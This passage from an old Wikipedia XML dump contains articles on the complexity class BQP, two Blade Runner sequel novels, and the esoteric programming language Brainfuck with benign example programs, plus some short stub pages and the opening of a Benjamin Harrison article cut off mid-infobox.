      <text xml:space="preserve">'''BQP''', in [[computational complexity theory]], stands for &quot;[[bounded-error|'''B'''ounded error]], '''Q'''uantum, [[polynomial time|'''P'''olynomial time]]&quot;.  It denotes the class of problems solvable by a [[quantum computer]] in polynomial time, with an error probability of at most 1/4 for all instances. 

In other words, there is an [[algorithm]] for a quantum computer that is guaranteed to run in polynomial time.  On any given run of the algorithm, it has a probability of at most 1/4 that it will give the wrong answer.  That is true, whether the answer is YES or NO.

The choice of 1/4 in the definition is arbitrary.
Changing the [[mathematical constant|constant]] to any [[real number]] &lt;var&gt;k&lt;/var&gt; such that 0 &amp;lt; &lt;var&gt;k&lt;/var&gt; &amp;lt; 1/2 does not change the [[set]] '''BQP'''.
The idea is that there is a small [[probability of error]], but running the algorithm many times produces an [[exponential decay|exponentially-small]] chance that the majority of the runs are wrong.

The number of [[qubit]]s in the computer is allowed to be a [[function (mathematics)|function]] of the instance size.
For example, algorithms are known for factoring an ''n''-bit integer using just over 2''n'' qubits.

Quantum computers have gained widespread interest because some problems of practical interest are known to be in BQP, but suspected to be outside P.  Currently, only three such problems are known:
*[[integer factorization|Integer factorization]] (see [[Shor's algorithm]])
*[[Discrete logarithm]]
*Simulation of quantum systems (see [[universal quantum computer]])

This class is defined for a quantum computer.  The corresponding class for an ordinary [[Turing machine]] plus a source of randomness is '''[[BPP]]'''.

BQP contains '''[[P (complexity)|P]]''' and '''[[BPP]]''' and is contained in '''[[PP (complexity)|PP]]''' and '''[[PSPACE]]'''. In fact, BQP is [[low (complexity)|low]] for '''PP''', meaning that a '''PP''' machine achieves no benefit from being able to solve '''BQP''' problems instantly, an indication of the vast difference in power between these similar classes.

{{ComplexityClasses}}[[Category:Complexity classes]]
[[Category:Quantum information science]]

[[de:BQP (Komplexitätsklasse)]]
[[es:BQP]]
[[ko:BQP]]</text>
    </revision>
  </page>
  <page>
    <title>Blade Runner 3: Replicant Night</title>
    <id>4081</id>
    <revision>
      <id>30688398</id>
      <timestamp>2005-12-09T07:08:38Z</timestamp>
      <contributor>
        <username>The Wookieepedian</username>
        <id>425277</id>
      </contributor>
      <comment>cleanup</comment>
      <text xml:space="preserve">'''''Blade Runner 3: Replicant Night''''' ([[1996]])  is a [[novel]] by [[K. W. Jeter]] that continues the story of [[Rick Deckard]]. It is the sequel to ''[[Blade Runner 2: The Edge of Human]]'', which in turn was itself a sequel to [[Ridley Scott]]'s [[1982]] film ''[[Blade Runner]]'', and the book on which ''Blade Runner'' was based, ''[[Do Androids Dream of Electric Sheep?]]''.

== Story ==

Living on Mars, Deckard is acting as a consultant to a movie crew filming the story of his [[Blade Runner]] days. He finds himself drawn into a mission on behalf of the [[replicant]]s he was once assigned to kill. Meanwhile, the mystery surrounding the beginnings of the Tyrell Corporation is being dragged out into the light.

== See also==

*''[[Blade Runner 4: Eye and Talon]]''

{{Bladerunner}}
{{Sf-book-stub}}

[[Category:Science fiction novels]]
[[Category:1996 books]]</text>
    </revision>
  </page>
  <page>
    <title>Blade Runner 2: The Edge of Human</title>
    <id>4082</id>
    <revision>
      <id>30688126</id>
      <timestamp>2005-12-09T07:03:55Z</timestamp>
      <contributor>
        <username>The Wookieepedian</username>
        <id>425277</id>
      </contributor>
      <comment>cleanup</comment>
      <text xml:space="preserve">'''''Blade Runner 2: The Edge of Human''''' ([[1995]]) is a [[novel]] by [[K. W. Jeter]], and a continuation of both the film ''[[Blade Runner]]'', and the novel upon which it was based, which was [[Philip K. Dick]]'s ''[[Do Androids Dream of Electric Sheep?]]''

== Story ==

The book continues the story of Rick Deckard. Beginning several months after the end of ''[[Blade Runner]]'', the author attempts to resolve many of the differences between the movie and the novel. He also addresses at least one inconsistency to be found in the movie itself -- the question of the sixth [[replicant]]. Is Deckard a replicant after all?

== See also ==

*''[[Blade Runner 3: Replicant Night]]''
*''[[Blade Runner 4: Eye and Talon]]''

{{Bladerunner}}
{{Sf-book-stub}}

[[Category:Science fiction novels]]
[[Category:1995 books]]</text>
    </revision>
  </page>
  <page>
    <title>Blog (disambiguation)</title>
    <id>4085</id>
    <revision>
      <id>42144548</id>
      <timestamp>2006-03-04T02:50:38Z</timestamp>
      <contributor>
        <username>Dillona</username>
        <id>621583</id>
      </contributor>
      <text xml:space="preserve">'''Blog''' can refer to:
{{Wiktionarypar|blog}}
*[[Blog]]: an online [[journal]] or [[diary]], also known as a &quot;weblog&quot;. 
*[[slang]] for [[alcoholic beverage|alcohol]] (or, in some circles, a particular alcoholic drink), used in [[science fiction]] [[fandom]].</text>
    </revision>
  </page>
  <page>
    <title>Brainfuck</title>
    <id>4086</id>
    <revision>
      <id>41735301</id>
      <timestamp>2006-03-01T10:54:20Z</timestamp>
      <contributor>
        <ip>144.137.233.202</ip>
      </contributor>
      <comment>/* Software */</comment>
      <text xml:space="preserve">{{lowercase|title=brainfuck}}

'''brainfuck''' is an [[Esoteric programming language|esoteric computer programming language]] noted for its extreme minimalism. It was designed to challenge and amuse [[programmer]]s, and is not suitable for practical use. Its name has been variously [[euphemism|euphemized]], as in ''brainf*ck'', since its name contains the word &quot;[[fuck]]&quot;. The name of the language is generally not capitalized, despite the fact that it is a [[proper noun]].

==Language design==
[[Urban Müller]] created brainfuck in 1993 with the intention of designing a language which could be implemented with the smallest possible [[compiler]] [http://www.muppetlabs.com/~breadbox/bf/], inspired by the 1024 byte compiler for the [[FALSE]] programming language. Several brainfuck compilers have been made smaller than 200 bytes. The classic distribution is [http://wuarchive.wustl.edu/pub/aminet/dev/lang/brainfuck-2.lha Müller's version 2], containing a compiler for the [[Amiga]], an interpreter, example programs, and a readme document.  

The language consists of eight [[command (computing)|command]]s, listed below. A brainfuck program is a sequence of these commands, possibly interspersed with other characters (which are ignored). The commands are executed sequentially, except as noted below.

The brainfuck language uses a simple machine model consisting, besides the program, of an array of 30,000 [[byte]] cells [[initialized]] to zero, a movable [[pointer]] into the array (initialized to point to the leftmost byte of the array), and two streams of bytes for input and output (most often connected to a keyboard and a monitor respectively, and using the [[ASCII]] character encoding).

===Commands===
The eight language commands, each consisting of a single character, are the following:
{|align=&quot;center&quot; border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;500&quot;  
!align=&quot;center&quot;  |Character
!align=&quot;center&quot; |Meaning
|-
||&lt;center&gt;&lt;code&gt;&amp;gt;&lt;/code&gt;&lt;/center&gt;
||increment the pointer (to point to the next cell to the right).
|-
||&lt;center&gt;&lt;code&gt;&amp;lt;&lt;/code&gt;&lt;/center&gt;
||decrement the pointer (to point to the next cell to the left).
|-
||&lt;center&gt;&lt;code&gt;+&lt;/code&gt;&lt;/center&gt;
||increment (increase by one) the byte at the pointer.
|-
||&lt;center&gt;&lt;code&gt;-&lt;/code&gt;&lt;/center&gt;
||decrement (decrease by one) the byte at the pointer.
|-
||&lt;center&gt;&lt;code&gt;.&lt;/code&gt;&lt;/center&gt;
||output the value of the byte at the pointer.
|-
||&lt;center&gt;&lt;code&gt;,&lt;/code&gt;&lt;/center&gt;
||accept one byte of input, storing its value in the byte at the pointer.
|-
||&lt;center&gt;&lt;code&gt;[&lt;/code&gt;&lt;/center&gt;
||[[Branch (computer science)|jump]] forward to the command after the corresponding &lt;code&gt;]&lt;/code&gt; if the byte at the pointer is zero.
|-
||&lt;center&gt;&lt;code&gt;]&lt;/code&gt;&lt;/center&gt;
||jump back to the command after the corresponding &lt;code&gt;[&lt;/code&gt; if the byte at the pointer is nonzero.
|}

(Alternatively, the &lt;code&gt;]&lt;/code&gt; command may instead be translated as an unconditional jump '''to''' the corresponding &lt;code&gt;[&lt;/code&gt; command, or vice versa; programs will behave the same but will run more slowly.)

Brainfuck programs can be translated into [[C programming language|C]] using the following substitutions, assuming &lt;code&gt;ptr&lt;/code&gt; is of type &lt;code&gt;unsigned char*&lt;/code&gt; and has been initialized to point to an array of zeroed bytes:
{|align=&quot;center&quot; border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;400&quot; 
!align=&quot;center&quot;  |Brainfuck command
!align=&quot;center&quot; |C equivalent
|-
|| &lt;center&gt;&lt;code&gt;&amp;gt;&lt;/code&gt;&lt;/center&gt; || &lt;code&gt;++ptr;&lt;/code&gt;
|-
|| &lt;center&gt;&lt;code&gt;&amp;lt;&lt;/code&gt;&lt;/center&gt; || &lt;code&gt;--ptr;&lt;/code&gt;
|-
|| &lt;center&gt;&lt;code&gt;+&lt;/code&gt;&lt;/center&gt;    || &lt;code&gt;++*ptr;&lt;/code&gt;
|-
|| &lt;center&gt;&lt;code&gt;-&lt;/code&gt;&lt;/center&gt;    || &lt;code&gt;--*ptr;&lt;/code&gt;
|-
|| &lt;center&gt;&lt;code&gt;.&lt;/code&gt;&lt;/center&gt;    || &lt;code&gt;putchar(*ptr);&lt;/code&gt;
|-
|| &lt;center&gt;&lt;code&gt;,&lt;/code&gt;&lt;/center&gt;    || &lt;code&gt;*ptr=getchar();&lt;/code&gt;
|-
|| &lt;center&gt;&lt;code&gt;[&lt;/code&gt;&lt;/center&gt;    || &lt;code&gt;while (*ptr) {&lt;/code&gt;
|-
|| &lt;center&gt;&lt;code&gt;]&lt;/code&gt;&lt;/center&gt;    || &lt;code&gt;}&lt;/code&gt;
|}

As the name suggests, brainfuck programs tend to be difficult to comprehend. Partly this is because any mildly complex task requires a long sequence of commands; partly it is because the program's text gives no direct indications of the program's [[state (computer science)|state]]. These, as well as brainfuck's inefficiency and its limited input/output capabilities, are some of the reasons it is not used for serious programming. Nonetheless, like any [[Turing-complete]] language, brainfuck is theoretically capable of computing any known computable function or simulating any other computational model, if given an unlimited memory store[http://www.iwriteiam.nl/Ha_bf_Turing.html]. A variety of brainfuck programs have been written[http://esoteric.sange.fi/brainfuck/bf-source/prog/].

=== brainfuck's formal &quot;parent language&quot; === 

Except for its two I/O commands, brainfuck is a minor variation of the formal programming language [[P prime prime]] (P&amp;prime;&amp;prime;) created by [[Corrado Böhm]] in 1964.  (In fact, using six symbols equivalent to the respective brainfuck commands &lt;tt&gt;+, -, &amp;lt;, &amp;gt;, [, ],&lt;/tt&gt; Böhm provided an explicit program for each of the basic functions that together serve to compute any [[recursive function|partial recursive function]].  So in a very real sense, the first &quot;brainfuck&quot; programs appear in Böhm's 1964 paper &amp;ndash; and they were programs sufficient to prove Turing-completeness.)

== Examples ==

=== Hello World! === 

The following program prints [[Hello world program|&quot;Hello World!&quot;]] and a newline to the screen:

 ++++++++++
 &lt;nowiki&gt;[&lt;/nowiki&gt;
    &gt;+++++++&gt;++++++++++&gt;+++&gt;+&lt;&lt;&lt;&lt;-
 &lt;nowiki&gt;]&lt;/nowiki&gt; The initial loop to set up useful values in the array
 &gt;++. print 'H'
 &gt;+. print 'e'
 +++++++. 'l'
 . 'l'
 +++. 'o'
 &gt;++. space
 &lt;&lt;+++++++++++++++. 'W'
 &gt;. 'o'
 +++. 'r'
 ------. 'l'
 --------. 'd'
 &gt;+. '!'
 &gt;. newline

For readability, this code has been spread across many lines and comments have been added. Brainfuck treats all characters but &lt;code&gt;+-&lt;&gt;[],.&lt;/code&gt; as comments so no special syntax for a comment is needed. The code could just as well have been written as:
 &lt;code&gt; ++++++++++&lt;nowiki&gt;[&lt;/nowiki&gt;&gt;+++++++&gt;++++++++++&gt;+++&gt;+&lt;&lt;&lt;&lt;-&lt;nowiki&gt;]&lt;/nowiki&gt;&gt;++.&gt;+.+++++++..+++.&gt;++.&lt;&lt;+++++++++++++++.&gt;.+++.------.--------.&gt;+.&gt;.&lt;/code&gt;

The first line initialises &lt;code&gt;a[0] = 10&lt;/code&gt; by simply incrementing ten times from 0. The loop from lines 2 to 4 effectively sets the initial values for the array: &lt;tt&gt;a[1] = 70&lt;/tt&gt; (close to 72, the [[ASCII]] code for the character 'H'), &lt;code&gt;a[2] = 100&lt;/code&gt; (close to 101 or 'e'), &lt;code&gt;a[3] = 30&lt;/code&gt; (close to 32, the code for space) and &lt;code&gt;a[4] = 10&lt;/code&gt; (newline). The loop works by multiplying the value of &lt;code&gt;a[0]&lt;/code&gt;, &lt;code&gt;10&lt;/code&gt;, by 7, 10, 3, and 1, saving the results in other cells. After the loop is finished, a[0] is zero. &lt;code&gt;&gt;++.&lt;/code&gt; then moves the pointer to &lt;code&gt;a[1]&lt;/code&gt; which holds &lt;code&gt;70&lt;/code&gt;, adds two to it (producing 72 which is the ASCII character code of a capital H), and outputs it.

The next line moves the array pointer to &lt;code&gt;a[2]&lt;/code&gt; and adds one to it, producing &lt;code&gt;101&lt;/code&gt;, a lower-case 'e', which is then output.

As 'l' happens to be the seventh letter after 'e', to output 'll' we add another seven (&lt;code&gt;+++++++&lt;/code&gt;) to &lt;code&gt;a[2]&lt;/code&gt; and output the result twice.

'o' is the third letter after 'l', so we increment &lt;code&gt;a[2]&lt;/code&gt; three more times and output the result.

The rest of the program goes on in the same way. For the space and capital letters, different array cells are selected and incremented or decremented as needed.

===Trivial===
==== Cell-clear ====

 [-]

A simple program fragment which sets the current location to 0, by iteratively decrementing until it is equal to 0.

==== Simple loop ====

 ,[.,]

A continuous loop that takes text input from the keyboard and echoes it to the screen. Note that this assumes the cell is set to 0 when a '&lt;code&gt;,&lt;/code&gt;' command is executed after the end of input (sometimes called end-of-file or &quot;EOF&quot;); implementations vary on this point. For implementations that set the cell to -1 on EOF, or leave the cell's value unchanged, this program would be written &quot;&lt;code&gt;,+[-.,+]&lt;/code&gt;&quot; or &quot;&lt;code&gt;,[.[-],]&lt;/code&gt;&quot; respectively.

==== Moving the pointer ====

 &gt;,[.&gt;,]

A version of the last one that also saves all the input in the array for future use, by moving the pointer each time.

==== Add ====

 [-&gt;+&lt;]

This adds the current location (destructively, it is left at zero) to the next location.

==== Conditional loop statements ====

 ,----------[----------------------.,----------]

This will take lowercase input from the keyboard and make it uppercase. To exit, press the enter key.

First, we input the first character using the &lt;code&gt;,&lt;/code&gt; and immediately subtract 10 from it. (Most, but not all, brainfuck implementations use 10 for return.) If the user hits enter, the loop command (&lt;code&gt;[&lt;/code&gt;) will jump past the end of the loop, because we will have set the first byte to zero. If the character input was not a 10, we boldly assume it was a lowercase letter, and enter the loop, wherein we subtract another 22 from it, for a total of 32, which is the difference between an ASCII lowercase letter and the corresponding uppercase letter.

Next we output it.  Now we input the next character, and again subtract 10. If this character was a linefeed, we exit the loop; otherwise, we go back to the start of the loop, subtract another 22, output, and so on. When we exit the loop, the program terminates, as there are no more commands.

==== Copying a byte ====

(Now things start to get a bit more complicated. We may as well refer to the bytes in the array as [0], [1], [2], and so on.)

Brainfuck does not include any operation for copying [[byte]]s. This must be done with the looping construct and arithmetical operators. Moving a byte is simple enough; moving the value of [0] to [1] can be done as follows:

 [-&gt;+&lt;]

However, this resets the value of [0] to 0. We can restore the value of [0] after copying by taking advantage of the ability to copy a value to two places at once. To copy the value of [0] to both [1] and [2] is simple:

 [-&gt;+&gt;+&lt;&lt;]

We can take advantage of this to restore the value of [0]. Therefore, we can nondestructively copy [0] to [1] (using [2] as scratch space) as follows:

 [-&gt;+&gt;+&lt;&lt;]&gt;&gt;[-&lt;&lt;+&gt;&gt;]&lt;&lt;

===Non-trivial===

==== Addition ====

 &lt;nowiki&gt;,&gt;++++++[&lt;--------&gt;-],[&lt;+&gt;-],&lt;.&gt;.&lt;/nowiki&gt;

This program adds two single-digit numbers and displays the result correctly if it too has only one digit:

 43
 
 7

The first number is input in [0], and 48 is subtracted from it to correct it (the ASCII codes for the digits 0-9 are 48-57). This is done by putting a 6 in [1] and using a loop to subtract 8 from [0] that many times. (This is a common method of adding or subtracting large numbers.) Next, the second number is input in [1].

The next loop &lt;code&gt;[&lt;+&gt;-]&lt;/code&gt; does the real work, moving the second number onto the first, adding them together and zeroing [1]. Each time through, it adds one to [0] and subtracts one from [1]; so by the time [1] is zeroed, as many have been added to [0] as have been removed from [1]. Now a return is input in [1]. (We're not error-checking the input at all.)

Then the pointer is moved back to the [0], which is then output. ([0] is now a + (b + 48), since we didn't correct b; which is identical to (a + b) + 48, which is what we want.) Now the pointer is moved to [1], which holds the return that was input; it is now output, and we're done.

Apparently, some implementation (presumably broken) prefers this variant which does not use linefeeds at all:

 &lt;nowiki&gt;,&gt;------[&lt;++++++++&gt;+],[&lt;+&gt;-]&lt;.&lt;/nowiki&gt;

==== Multiplication ====

 &lt;nowiki&gt;,&gt;,&gt;++++++++[&lt;------&lt;------&gt;&gt;-]&lt;/nowiki&gt;
 &lt;&lt;[&gt;[&gt;+&gt;+&lt;&lt;-]&gt;&gt;[&lt;&lt;+&gt;&gt;-]&lt;&lt;&lt;-]
 &gt;&gt;&gt;++++++[&lt;++++++++&gt;-],&lt;.&gt;.

Like the previous, but does multiplication, not addition.

The first number is input in [0], the second number is input in [1], and both numbers are corrected by having 48 subtracted.

Now we enter the main multiplication loop. The basic idea is that each time through it we subtract one from [0] and add [1] to the running total kept in [2]. In particular: the first inner loop moves [1] onto both [2] and [3], while zeroing [1]. (This is the basic way to duplicate a number.) The next inner loop moves [3] back into [1], zeroing [3]. Then one is subtracted from [0], and the outer loop is ended. On exiting this loop, [0] is zero, [1] still has the second number in it, and [2] has the product of the two numbers. (Had we cared about keeping the first number, we could have added one to [4] each time through the outer loop, then moved the value from [4] back to [0] afterward.)

Now we add 48 to the product, input a return in [3], output the ASCIIfied product, and then output the return we just stored.


==== Division ====

 &lt;nowiki&gt;,&gt;,&gt;++++++[-&lt;--------&lt;--------&gt;&gt;] store 2 numbers from kb in [0] and [1], and subtract 48 from each
&lt;&lt;[ loop until the dividend is zero
&gt;[-&gt;+&gt;+&lt;&lt;] move the divisor in [1] to [2] and [3], setting [1] to zero 
&gt;[-&lt;&lt;- subtract 1 from both the dividend[0] and the divisor[2] until [2] is zero
[&gt;]&gt;&gt;&gt;[&lt;[&gt;&gt;&gt;-&lt;&lt;&lt;[-]]&gt;&gt;]&lt;&lt;] if the dividend is zero, exit the loop
&gt;&gt;&gt;+ add one to the quotient in [5]
&lt;&lt;[-&lt;&lt;+&gt;&gt;] move the saved divisor in [3] to [2]
&lt;&lt;&lt;] move ptr to [0] and repeat loop
&gt;[-]&gt;&gt;&gt;&gt;[-&lt;&lt;&lt;&lt;&lt;+&gt;&gt;&gt;&gt;&gt;] move the quotient in [5] to [0]
&lt;&lt;&lt;&lt;++++++[-&lt;++++++++&gt;]&lt;. add 48 and print result&lt;/nowiki&gt;

When the user enters two numbers from the keyboard, this code divides the two numbers, ignoring the remainder, and prints the quotient to the screen.

==Portability issues==

Partly because Urban M&amp;uuml;ller did not write a thorough language specification, the many subsequent brainfuck interpreters and compilers have come to use slightly different dialects of brainfuck.

===Cell size===

In [http://wuarchive.wustl.edu/pub/aminet/dev/lang/brainfuck-2.lha the classic distribution], the cells are 8-bit bytes, and this is still the most common size. However, to read non-textual data, a brainfuck program may need to distinguish an [[end-of-file]] condition from any possible byte value; thus 16-bit cells have also been used. Some implementations have used 32-bit cells, 64-bit cells, or [[bignum]] cells with practically unlimited range, but programs that use this extra range are likely to be slow, since storing or using cell values generally takes time proportional to the values stored or used.

In all these variants, the &lt;code&gt;,&lt;/code&gt; and &lt;code&gt;.&lt;/code&gt; commands still read and write data in bytes. In most of them, the cells wrap around, i.e. incrementing a cell which holds its maximal value (with the &lt;code&gt;+&lt;/code&gt; command) will bring it to its minimal value and vice versa. The exceptions are implementations which are distant from the underlying hardware, implementations that use bignums, and implementations that try to enforce portability.

Fortunately, it is usually easy to write brainfuck programs that do not ever cause integer wraparound or overflow.  Such programs thus do not depend heavily on cell size.  Generally this means avoiding increment of +255 (unsigned char wraparound); or avoiding the overstepping the boundaries of [-128, +127] inclusive (signed char wraparound).  For more details on integer wraparound, see the [[Integer overflow]] article.

===Array size===

In the classic distribution, the array has 30,000 cells, and the pointer begins at the leftmost cell. Any brainfuck implementation should thus provide at least that many cells, but surprisingly many implementations provide fewer. Even more cells are needed to store things like the millionth [[Fibonacci number]], and the easiest way to make the language Turing-complete is to make the array unlimited on the right.

A few implementations extend the array to the left as well; this is an uncommon feature, and therefore portable brainfuck programs do not depend on it.

When the pointer moves outside the bounds of the array, some implementations will give an error message, some will try to extend the array dynamically, some will not notice and will produce unpredictable behavior, and a few will move the pointer to the opposite end of the array. Some tradeoffs are involved: expanding the array dynamically to the right is the most user-friendly approach and is good for memory-hungry programs, but it carries a speed penalty. If a fixed-size array is used it is helpful to make it very large, or better yet let the user set the size. Giving an error message for bounds violations is very useful for debugging but even that carries a speed penalty unless it can be handled by the operating system's memory protections.

===End-of-line code===

Different operating systems (and sometimes different programming environments) use subtly different versions of ASCII. The most important difference is in the code used for the end of a line of text. MS-DOS and Microsoft Windows use a [[Newline#CR.2BLF|CRLF]], i.e. a 13 followed by a 10, in most contexts. UNIX and its descendants, including Linux and Mac OS X, use just 10, and older Macs use just 13. It would be unfortunate if brainfuck programs had to be rewritten for different operating systems. Happily, a unified standard is easy to find. Urban M&amp;uuml;ller's compiler and his example programs use 10, on both input and output; so do a large majority of existing brainfuck programs; and 10 is also more convenient to use than CRLF. Thus, brainfuck implementations should make sure that brainfuck programs that assume newline=10 will run properly; many do so, but some do not.

This assumption is also consistent with most of the world's sample code for [[C programming language|C]] and other languages, in that they use '\n', or 10, for their newlines.

===End-of-file behavior===

The behavior of the &lt;code&gt;,&lt;/code&gt; command when an [[end-of-file]] condition has been encountered varies. Some implementations set the cell at the pointer to 0, some set it to the C constant EOF (in practice this is usually -1), some leave the cell's value unchanged. There is no real consensus; arguments for the three behaviors are as follows.

Setting the cell to 0 avoids the use of negative numbers, and makes it marginally more concise to write a loop that reads characters until EOF occurs. This is a language extension devised by Panu Kalliokoski.

Setting the cell to -1 allows EOF to be distinguished from any byte value (if the cells are larger than bytes), which is necessary for reading non-textual data; also, it is the behavior of the C translation of &lt;code&gt;,&lt;/code&gt; given in M&amp;uuml;ller's readme file. However, it is not obvious that those C translations are to be taken as normative.

Leaving the cell's value unchanged is the behavior of Urban M&amp;uuml;ller's brainfuck compiler. This behavior can easily coexist with either of the others; for instance, a program that assumes EOF=0 can set the cell to 0 before each &lt;code&gt;,&lt;/code&gt; command, and will then work correctly on implementations that do either EOF=0 or EOF=&quot;no change&quot;. It is so easy to accommodate the &quot;no change&quot; behavior that any brainfuck programmer interested in portability should do so.

===Miscellaneous dialects===

Many people have modified brainfuck, often by adding commands, occasionally by removing them. Some of these variants have value, but they should be (and usually are) given different names and considered separate languages, much like C++ with relation to C. Many of these are listed below. However, there are also minor variants, formed possibly as a result of inattention, of which some of the more common are:
* forbidding, rather than ignoring, any non-command characters in brainfuck programs
* introducing a comment marker which comments out the rest of the line
* various alterations of the loop semantics, sometimes destroying Turing-completeness
* requiring a special character to mark the end of the program

==Languages based on brainfuck==
Because brainfuck is so simple, it is easy to make other programming languages based on it:

* Doublefuck has an additional array and eight additional instructions which perform brainfuck-identical operations on the second array. They are, in order: &quot;^&quot;, &quot;v&quot;, &quot;/&quot;, &quot;\&quot;, &quot;:&quot;, &quot;;&quot;, &quot;{&quot;, and &quot;}&quot;.
* [[PATH programming language|PATH]] (and [[SNUSP programming language|SNUSP]]) are combinations of brainfuck with [[Befunge]], a language which represents instructions as symbols in two-dimensional space.
* [[Brainfork]] is a multi-threaded version of brainfuck with an additional &quot;Y&quot; instruction to fork the current thread. 
* [[Braintwist]] is a version of brainfuck that allows for [[self-modifying code]].
* [[THRAT]] uses two instructions to access brainfuck instructions on an [[opcode]] table.
* [[L00P]] has an implicit loop, removes the &quot;[&quot; and &quot;]&quot; looping instructions and adds ten others.
* [[Ook! programming language|Ook!]] reformats brainfuck's commands as combinations of &quot;Ook.&quot; &quot;Ook!&quot; and &quot;Ook?&quot;.
* [[COW programming language|COW]] reformats brainfuck's commands as various capitalisations of the word &quot;Moo&quot;.
* [[Spoon programming language|Spoon]] uses a [[Huffman coding|Huffman coded]] set of brainfuck's instructions.
* [[L33t programming language|l33t]] adds networking capabilities. (Very loosely based).
* [[2L programming language|2L]]: based loosely on [[PATH programming language|PATH]] and Brainfuck, but has only two symbols.
* [http://www.rpi.edu/~hughes/boof/ Boolfuck] uses bits instead of bytes.
* [http://r.s.home.mindspring.com/F/ Fm languages] are program formulations of Turing machines, based on Böhm's (1964) language [[P prime prime|P&amp;prime;&amp;prime;]] (a formal equivalent to brainfuck with no i/o instructions); e.g. F2 edits an unbounded bit-string memory using + &lt; &gt; [ ] only.
* [http://www.parkscomputing.com/code/pbrain/] [[pbrain]], which adds procedures to Brainfuck.
* [http://www.greythumb.org/people/api/nanopond.html Nanopond] Nanopond is an [[artificial life]] [[virtual machine]] whose simple [[evolvable]] instruction set is loosely based on Brainfuck.

Hardware that may have been inspired by [[P prime prime|P&amp;prime;&amp;prime;]]:
* The Cosmac 1802 microprocessor has probably about as close a useful instruction set can get to brainfuck. It's got 16 16-bit registers, any one of which can be used as the program counter or the stack pointer (which corresponds to the pointer in brainfuck), and an accumulator. Arithmetic has to be performed be either moving one value to the stack, or moving the stack pointer temporarily to the value. The fun is compounded by the fact that there's no subroutine call instruction, you have to implement subroutine calls by leaving registers pointing to the call and return code and switch the program counter to those registers and back again.

==External links==
* [http://www.muppetlabs.com/~breadbox/bf/ Brian Raiter, Muppetlabs. '''Brainfuck: An Eight-Instruction Turing-Complete Programming Language'''] is a concise informational page with comments on portability.
* [http://esoteric.sange.fi/brainfuck/ Panu Kalliokoski. '''The Brainfuck Archive'''] has many brainfuck programs and implementations.
* [http://www.hevanet.com/cristofd/brainfuck/ Daniel Cristofani. '''some brainfuck fluff'''] has a complete brainfuck reference, implementations and an amazing collection of programs.
* [http://www.iwriteiam.nl/Ha_BF.html Frans Faase. '''Brainf***'''] is written from a mathematician's angle and has Turing-completeness proofs.
* [http://lilly.csoft.net/~jeffryj/programs/bf/index.html Jeffry Johnston. '''BF programs''', including Basic compiler and assembler]
* [http://alx2002.free.fr/. '''A Brainfuck tutorial''' in English and French].
* [http://www.bf-hacks.org/ Keymaker. '''bf-hacks.org'''] features a collection of brainfuck programs.
* [http://jonripley.com/i-fiction/games/LostKingdomBF.html '''Lost Kingdom BF'''] A conversational game written in brainfuck.
* [http://esolangs.org/wiki/Brainfuck_algorithms '''Brainfuck Algorithms'''] and code snippets

===Implementations===

====Software====

* [http://www.nada.kth.se/~matslina/awib/ Also Written In Brainfuck (awib)] is a brainfuck compiler written in brainfuck for [[Linux]] on [[i386]].
* [http://home.arcor.de/partusch/html_en/bfd.html '''Brainfucked'''] a small compatible [[open source]] compiler with syntax checking and code optimization for [[Microsoft Windows]]/[[DOS]].
&lt;!-- BROKEN LINK * [http://www.brainfuck.ca Brainfuck.ca '''GPLed Brainfuck interpreters and source converters'''] --&gt;
* [http://www.swapped.cc/bf BFF] is very fast optimizing interpreter written in portable C
* [http://www.4mhz.de/ Brainfuck development environment with integrated debugger (IDE) for Windows]
* [http://alephmobius.8m.com/dl.html The download page with '''Blue Fern''', a brainfuck IDE]
* [http://www.soulsphere.org/stuffage/bf.net/ Brainfuck.Net]
* [http://search.cpan.org/~jaldhar/Acme-Brainfuck-1.1.1/lib/Acme/Brainfuck.pm  Acme::Brainfuck], a [[Perl]] module that permits brainfuck programs to be embedded in Perl.
* [http://brainphuck.si.kz '''BrainPhuck'''] is a [[PHP]] class featuring an optmizing parser, executor, debugger, PHP translator, and x86 compiler for brainfuck
* [http://www.hevanet.com/cristofd/brainfuck/di.html Minimalistic brainfuck interpreter in JavaScript], for people who do not want to spend ten minutes getting a compiler.
&lt;!-- BROKEN INTERPRETER * [http://felipe.mfontoura.vilabol.uol.com.br/bfii.htm BFII] is a brainfuck Interpreter written in Java Script ([[Portuguese language|pt]]). --&gt;
* [http://jtauber.com/blog/2006/03/01/brainf brainf.py], a [[Python_programming_language|Python]] implementation by [[James Tauber]].

====Hardware====

* [http://www.robos.org/?bfcomp Robert Östling. '''Brainfuck computer.''']
* [http://www.clifford.at/bfcpu/ Clifford Wolf. '''The Brainf*ck CPU''' and other brainfuck-related projects]

&lt;!-- BROKEN * [http://martin.egy.nu/index.php?page=bfcomp '''A Brainfuck Computer With a Brainfuck CPU''']
     BROKEN * [http://math-o.narod.ru/st/self10.pdf '''Self-interpreter in BF'''] --&gt;

[[Category:Non-English-based programming languages]]
[[Category:Esoteric programming languages]]

[[ca:Brainfuck]]
[[cs:Brainfuck]]
[[de:Brainfuck]]
[[et:Brainfuck]]
[[es:Brainfuck]]
[[eo:Brainfuck (programlingvo)]]
[[fr:Brainfuck]]
[[ko:Brainfuck]]
[[is:Heilariðlun]]
[[it:Brainfuck]]
[[he:BF]]
[[hu:Brainfuck programozási nyelv]]
[[nl:Brainfuck]]
[[ja:Brainfuck]]
[[no:Brainfuck]]
[[pl:Brainfuck]]
[[pt:Brainfuck]]
[[ru:Brainfuck]]
[[sk:Brainfuck]]
[[fi:Brainfuck]]
[[sv:Brainfuck]]
[[zh:Brainfuck]]</text>
    </revision>
  </page>
  <page>
    <title>Bookmarks</title>
    <id>4088</id>
    <revision>
      <id>15902388</id>
      <timestamp>2002-06-01T17:48:26Z</timestamp>
      <contributor>
        <username>Karen Johnson</username>
        <id>1300</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[bookmark]]</text>
    </revision>
  </page>
  <page>
    <title>Benjamin Harrison</title>
    <id>4089</id>
    <revision>
      <id>42006896</id>
      <timestamp>2006-03-03T04:30:08Z</timestamp>
      <contributor>
        <username>Bigboehmboy</username>
        <id>215248</id>
      </contributor>
      <minor />
      <comment>/* Administration and Cabinet */</comment>
      <text xml:space="preserve">:''This article is about the [[President of the United States]]. For other uses, see [[Benjamin Harrison (disambiguation)]].''
{{Infobox_President | name=President Benjamin Harrison
| nationality=american
| image=President Benjamin Harrison 1897.jpg
| order=23rd President
| term_start=[[March 4]], [[1889]]
